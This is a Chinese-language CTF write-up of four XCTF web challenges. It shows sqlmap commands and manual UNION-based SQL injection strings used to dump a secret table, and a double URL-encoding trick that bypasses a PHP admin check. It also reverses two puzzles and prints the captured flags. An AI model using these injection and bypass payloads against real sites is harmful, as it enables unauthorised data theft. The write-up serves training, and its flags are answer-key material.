攻防世界web解题[进阶](三)
介绍:记录解题过程
8.NewsCenter(sql注入)
.NewsCenter
题目描述:如题目环境报错,稍等片刻刷新即可
<1>.使用Sqlmap
[1].sqlmap爆当前数据库信息
python sqlmap.py -r MyFile/bf.txt --current-db
- 用sqlmap爆出库名:news
current database: 'news'
[2].sqlmap.列出指定数据库所有的表名
python sqlmap.py -r MyFile/bf.txt -D news --tables
- 用sqlmap爆出表名:news,secret_table
Database: news
[2 tables]
+--------------+
| news |
| secret_table |
+--------------+
[3].sqlmap 列出指定表名的所有列名
- 先看news表
python sqlmap.py -r MyFile/bf.txt -D news -T news --columns
- 用sqlmap爆出列名,这个表就是存新闻的
Database: news
Table: news
[3 columns]
+---------+------------------+
| Column | Type |
+---------+------------------+
| content | text |
| id | int(10) unsigned |
| title | varchar(50) |
+---------+------------------+
- 再看secret_table表
python sqlmap.py -r MyFile/bf.txt -D news -T secret_table --columns
- 用sqlmap爆出列名:fl4g ,就是他
Database: news
Table: secret_table
[2 columns]
+--------+------------------+
| Column | Type |
+--------+------------------+
| fl4g | varchar(50) |
| id | int(10) unsigned |
+--------+------------------+
[4].sqlmap 打印输出表名指定列名字段的值数据
python sqlmap.py -r MyFile/bf.txt -D news -T secret_table -C fl4g --dump
- 得到flag
Database: news
Table: secret_table
[1 entry]
+--------------------------+
| fl4g |
+--------------------------+
| QCTF{sq1_inJec7ion_ezzz} |
+--------------------------+
<2>.手工注入
[1].判断注入类型
- 没有回显,先用字符型注入试试
[2].爆当前数据库信息
1’ union select 1,2,database()#
- 回显
2
news
[3].通过库名获取表名
1' union select 1,2,table_name from information_schema.tables where table_schema=‘news’#
- 回显
2
news
2
secret_table
[4].通过表名获取字段名:
1' union select 1,2,column_name from information_schema.columns
where table_name=‘secret_table’#
- 回显
2
fl4g
2
id
[5].最后通过字段名获取flag
1' union select 1,id,fl4g from secret_table#
- 回显
1
QCTF{sq1_inJec7ion_ezzz}
9.NaNNaNNaNNaN-Batman(得源码,删过滤)
题目描述:暂无
题目场景: 暂无
题目附件: 附件1
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);
s[o%4].splice(0,1)
}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _
- 即然源码在我们手上,将限制条件全部删除就能得到flag
- 将下面删除限制条件后的代码保存为html文件运行即可得到flag
<html>
<script type="text/javascript">
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);
s[o%4].splice(0,1)
}
alert(s)
</script >
</html>
10.web2(解密加密算法)
题目描述:解密
- 源码
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
-
根据提示去解密
-
这个加密算法非常简单,就是先把所有字符反转(如 abc -> cba),再将所有字符变成ASCII 码值加1后又变回字符(效果就是 a -> b ,c->d…),再对数据进行编码,后面再把所有字符反转,再把每一个字母在字母表中向前移动 13 个字母.
-
所以假如加密
abc
,结果就是 -
源码(详细注释)
<!DOCTYPE html>
<html>
<body>
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);//strrev() 函数反转字符串。abc -> cba
$_ = "";
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1); //截取字符串 $rest = substr ("abcdef", 1, 3); // returns "bcd"
$__=ord($_c)+1; //int ord ( string$string)返回字符串 string 第一个字符的 ASCII 码值。该函数是chr()的互补函数。
$_c=chr($__); //返回相对应于 $__ 所指定的单个字符
$_=$_.$_c;
}
# 使用base64_encode和base64_decode对数据进行编码和解码
# strrev() 函数反转字符串
# str_rot13() 函数对字符串执行 ROT13 编码。
# ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。
# 提示:编码和解码都是由相同的函数完成的。如果您把一个已编码的字符串作为参数,那么将返回原始字符串。
return str_rot13(strrev(base64_encode($_)));
}
echo encode("abd");
?>
</body>
- 接下来就是编写解密算法了,解密算法可以由上而上写
- 解密算法代码:
<!DOCTYPE html>
<html>
<body>
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function dncode($str){
$str = base64_decode(strrev(str_rot13($str)));
$_ = "";
for($_0=0;$_0<strlen($str);$_0++){
$_c=substr($str,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
echo dncode($miwen);
?>
</body>
</html>
- flag:
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
11.PHP2
题目描述:暂无
- 首页
Can you anthenticate to this website?
你能复制到这个网站吗?
- index.phps存在源码泄露:
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
- 这里要绕过第一个if判断进入第二个if
将 admin经过两次url编码即可:
admin
%61%64%6d%69%6e
%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
- flag
cyberpeace{e4c6f42874dd488d9b7b79b7d1026ec6}
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92721.html